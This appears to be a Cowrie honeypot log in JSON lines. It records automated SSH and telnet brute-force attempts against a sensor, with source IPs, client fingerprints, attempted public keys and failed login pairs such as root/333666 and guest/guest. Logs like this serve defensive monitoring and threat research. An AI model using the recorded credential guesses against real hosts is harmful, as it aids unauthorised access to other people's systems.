{"eventid":"cowrie.login.failed","username":"root","fingerprint":"67:35:b3:b8:9d:6d:0b:2b:10:97:43:da:2a:ec:21:38","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC02mGRU3AtH2vdOMwZjpSB0bf4tAvQpGNS0lOPhBdGZTXM9D+L7owJ4dOs4yw9SYhTIAqVgkjBk3zB8v8uXc1hXh8VO7Pi/1TWxqbBM/6OCFBXltcvr2F+K34VscK2CxT1LAmlUbQtBA3W+cAzjGW3nYWGFq4bBccHaLRUVrYjGTfsh16ZG3ORIej1AxeGtQhWrheW7ZGYyvgWYwzMpk344LS9xdTIXedkILOS00BDCdORHBrHdZpf6VBZYXUv8g7VHI0sp3zuL0jgwNOs+3bZB/oYKzlqY3dVbecqQ3hfRqi3bzEdORFUOqFLepav5O0dZWJtrv17L6Xeq8s7nja3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:56.063686Z","src_ip":"89.37.117.16","session":"176a5d75a28b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"35:0e:45:41:a8:78:35:38:2d:12:c2:6e:45:a3:f1:95","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDYPP9pVeY/iPwlSNPTYweR2hj0vLMA7EEvemZWM6qmht7LnWbFdA6CyK5IdJnDnZrW5bMSFokxQY0KRmzpjWMQdHWCapNZAAS6DSxCGoG35CVBZ//Ug75QIPVKzgq9RCmA08DgcrG5xxoJfNUIlNP0tqTwyVZ9fAtXeI/NJqmOaVCcABxUgheQopxM8W0YyP2+Fs/hYKWWsu2WENat37WsxskaeQ+08nfhSYHKrD8tdUZekCOiWsynhgvYryiKNRkwfRQmz0IXvIoadwKBjKSfse9kN9YUPig0zlYyOOmn/iy9USl5Lyldu/1QRBYbihvGqaqNFQX+fEjyNvaSOSjykFlfc3A1mq7s2cO+/U8Nu9omqFpFPfYd8mRJZuqylivngAo5MS2HsyVortU+DE9TSGtKTrV5diy+/4Jg6yaKIFC3svi7i4TeecNTmz8NCqZF247VRRM92pxNkYUHW41ZpdccMUMWENa9FEXiLmwFt8OQ2Oc5gLQWP0ysv4EB0c5rDS9Tf6Im36kKDjY6fbC0pP6SThTCue/aFGdeVnl3vSRkb3wUO8/v5hekINCRF62kauW+O176iLpDWP/hgLUyN9Q1ACDLF7/GabZmzMLLdHHiwSsBBQRZ5FiMdw8LyuXGrfA2ExcJbf5a4X5xuOort2evKq3Hmb9/ThBT3whCaQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 35:0e:45:41:a8:78:35:38:2d:12:c2:6e:45:a3:f1:95","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:56.189648Z","src_ip":"89.37.117.16","session":"176a5d75a28b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"35:0e:45:41:a8:78:35:38:2d:12:c2:6e:45:a3:f1:95","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDYPP9pVeY/iPwlSNPTYweR2hj0vLMA7EEvemZWM6qmht7LnWbFdA6CyK5IdJnDnZrW5bMSFokxQY0KRmzpjWMQdHWCapNZAAS6DSxCGoG35CVBZ//Ug75QIPVKzgq9RCmA08DgcrG5xxoJfNUIlNP0tqTwyVZ9fAtXeI/NJqmOaVCcABxUgheQopxM8W0YyP2+Fs/hYKWWsu2WENat37WsxskaeQ+08nfhSYHKrD8tdUZekCOiWsynhgvYryiKNRkwfRQmz0IXvIoadwKBjKSfse9kN9YUPig0zlYyOOmn/iy9USl5Lyldu/1QRBYbihvGqaqNFQX+fEjyNvaSOSjykFlfc3A1mq7s2cO+/U8Nu9omqFpFPfYd8mRJZuqylivngAo5MS2HsyVortU+DE9TSGtKTrV5diy+/4Jg6yaKIFC3svi7i4TeecNTmz8NCqZF247VRRM92pxNkYUHW41ZpdccMUMWENa9FEXiLmwFt8OQ2Oc5gLQWP0ysv4EB0c5rDS9Tf6Im36kKDjY6fbC0pP6SThTCue/aFGdeVnl3vSRkb3wUO8/v5hekINCRF62kauW+O176iLpDWP/hgLUyN9Q1ACDLF7/GabZmzMLLdHHiwSsBBQRZ5FiMdw8LyuXGrfA2ExcJbf5a4X5xuOort2evKq3Hmb9/ThBT3whCaQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:56.194465Z","src_ip":"89.37.117.16","session":"176a5d75a28b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a7:fe:a3:6b:ea:5e:df:4d:13:b2:48:91:eb:9d:f9:ea","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsZyFe/3g6AoKoQcxa6EzFelCiT1A1lH06gc1YSTTEBlGtzLGkPycALjB/2USgpse+1IYjMc6314LWGmSGtnI+W35xl9yJAU2GxPfD/W1+IN7pWFMfoRdl2ezCu9nRhshk6kfQBvhAPvsr3E2r4t0VO3xmEUo9lZ/AXP+Ogg8Jt7ZEcs8HPceEgTzgCi80HeHD9o8ii/NwvIvARZc6HykLw8JY1BW5aJN2TsrkYyO4xcCi+TSPqpJmE/M6B+pYIUfvlRVWGx1kvQ4DtPApODTFd0E8AzK1mvpNZSDY9Cz2bdfJQcOfWTZyvWUg67gwjSNZntQ4gZ0CuCXdCErhTgdnQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a7:fe:a3:6b:ea:5e:df:4d:13:b2:48:91:eb:9d:f9:ea","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:56.321367Z","src_ip":"89.37.117.16","session":"176a5d75a28b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a7:fe:a3:6b:ea:5e:df:4d:13:b2:48:91:eb:9d:f9:ea","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsZyFe/3g6AoKoQcxa6EzFelCiT1A1lH06gc1YSTTEBlGtzLGkPycALjB/2USgpse+1IYjMc6314LWGmSGtnI+W35xl9yJAU2GxPfD/W1+IN7pWFMfoRdl2ezCu9nRhshk6kfQBvhAPvsr3E2r4t0VO3xmEUo9lZ/AXP+Ogg8Jt7ZEcs8HPceEgTzgCi80HeHD9o8ii/NwvIvARZc6HykLw8JY1BW5aJN2TsrkYyO4xcCi+TSPqpJmE/M6B+pYIUfvlRVWGx1kvQ4DtPApODTFd0E8AzK1mvpNZSDY9Cz2bdfJQcOfWTZyvWUg67gwjSNZntQ4gZ0CuCXdCErhTgdnQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:56.325590Z","src_ip":"89.37.117.16","session":"176a5d75a28b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"61:cf:53:eb:bf:ed:fd:54:88:83:40:35:58:9b:7d:10","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEtNs2RoAuHVzZx9krtBYKohnSm/HxbIcefz0nodYsTj","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 61:cf:53:eb:bf:ed:fd:54:88:83:40:35:58:9b:7d:10","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:56.454324Z","src_ip":"89.37.117.16","session":"176a5d75a28b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"61:cf:53:eb:bf:ed:fd:54:88:83:40:35:58:9b:7d:10","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEtNs2RoAuHVzZx9krtBYKohnSm/HxbIcefz0nodYsTj","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:56.460250Z","src_ip":"89.37.117.16","session":"176a5d75a28b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:56.590523Z","src_ip":"89.37.117.16","session":"176a5d75a28b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.01439452171326,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:57.196977Z","src_ip":"192.119.13.58","session":"473bd538e57e","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:57.305862Z","src_ip":"116.110.11.66","session":"133fa95181ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest","message":"login attempt [guest/guest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:59.803091Z","src_ip":"116.110.11.66","session":"133fa95181ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.50412702560425,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:56:02.407799Z","src_ip":"192.119.13.58","session":"bac8cabfc2f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53152,"dst_ip":"10.17.0.5","dst_port":23,"session":"53c9e2621f37","protocol":"telnet","message":"New connection: 192.119.13.58:53152 (10.17.0.5:23) [session: 53c9e2621f37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:56:06.293718Z"}
{"eventid":"cowrie.session.closed","duration":"15.3","message":"Connection lost after 15.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:56:06.518511Z","src_ip":"116.110.11.66","session":"133fa95181ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.41079330444336,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:56:06.523527Z","src_ip":"192.119.13.58","session":"bb007d3519f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54222,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c3cfbae3534","protocol":"telnet","message":"New connection: 192.119.13.58:54222 (10.17.0.5:23) [session: 0c3cfbae3534]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:56:06.563172Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34764,"dst_ip":"10.17.0.5","dst_port":23,"session":"317f0396062d","protocol":"telnet","message":"New connection: 192.119.13.58:34764 (10.17.0.5:23) [session: 317f0396062d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:56:08.679247Z"}
{"eventid":"cowrie.session.closed","duration":42.62150597572327,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:56:12.482990Z","src_ip":"192.119.13.58","session":"44fdb81b159f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"201.249.192.30","src_port":34090,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0d52b4823cf","protocol":"ssh","message":"New connection: 201.249.192.30:34090 (10.17.0.5:22) [session: a0d52b4823cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:56:13.007813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:56:13.013033Z","src_ip":"201.249.192.30","session":"a0d52b4823cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:56:13.079242Z","src_ip":"201.249.192.30","session":"a0d52b4823cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"333666","message":"login attempt [root/333666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:56:13.373688Z","src_ip":"201.249.192.30","session":"a0d52b4823cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:56:14.445002Z","src_ip":"201.249.192.30","session":"a0d52b4823cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60042,"dst_ip":"10.17.0.5","dst_port":23,"session":"5792878aa55b","protocol":"telnet","message":"New connection: 192.119.13.58:60042 (10.17.0.5:23) [session: 5792878aa55b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:56:15.858557Z"}
{"eventid":"cowrie.session.closed","duration":43.12345910072327,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:56:17.674244Z","src_ip":"192.119.13.58","session":"96d3df3d5088","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.50569295883179,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:56:18.203608Z","src_ip":"192.119.13.58","session":"a3b98c4b3644","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.74206805229187,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:56:19.787840Z","src_ip":"192.119.13.58","session":"d98dc8ba171c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36928,"dst_ip":"10.17.0.5","dst_port":23,"session":"37ebbcbe442d","protocol":"telnet","message":"New connection: 192.119.13.58:36928 (10.17.0.5:23) [session: 37ebbcbe442d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:56:22.676420Z"}
{"eventid":"cowrie.session.closed","duration":43.93187594413757,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:56:23.436866Z","src_ip":"192.119.13.58","session":"d8d72a9eaf7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44646,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc15476d093d","protocol":"telnet","message":"New connection: 192.119.13.58:44646 (10.17.0.5:23) [session: cc15476d093d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:56:25.522463Z"}
{"eventid":"cowrie.session.closed","duration":39.92578077316284,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:56:25.903410Z","src_ip":"192.119.13.58","session":"56376cfeaac6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.70398449897766,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:56:26.326424Z","src_ip":"192.119.13.58","session":"ccdb6ef8d923","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53232,"dst_ip":"10.17.0.5","dst_port":23,"session":"62f5476ad668","protocol":"telnet","message":"New connection: 192.119.13.58:53232 (10.17.0.5:23) [session: 62f5476ad668]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:56:26.612091Z"}
{"eventid":"cowrie.session.closed","duration":35.64215898513794,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:56:30.511622Z","src_ip":"192.119.13.58","session":"94fc2da068ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.9.145.130","src_port":56498,"dst_ip":"10.17.0.5","dst_port":22,"session":"23da1f81b537","protocol":"ssh","message":"New connection: 81.9.145.130:56498 (10.17.0.5:22) [session: 23da1f81b537]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:56:31.926595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:56:31.932015Z","src_ip":"81.9.145.130","session":"23da1f81b537","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:56:32.051315Z","src_ip":"81.9.145.130","session":"23da1f81b537","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bonilla","message":"login attempt [root/bonilla] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:56:32.564253Z","src_ip":"81.9.145.130","session":"23da1f81b537","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.172741174697876,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:56:33.164400Z","src_ip":"192.119.13.58","session":"7fbb1cf331dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":50812,"dst_ip":"10.17.0.5","dst_port":22,"session":"ffe039b2d627","protocol":"ssh","message":"New connection: 193.32.162.145:50812 (10.17.0.5:22) [session: ffe039b2d627]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:56:33.543779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:56:33.549753Z","src_ip":"193.32.162.145","session":"ffe039b2d627","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:56:33.652189Z","src_ip":"193.32.162.145","session":"ffe039b2d627","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:56:33.685491Z","src_ip":"81.9.145.130","session":"23da1f81b537","protocol":"ssh"}
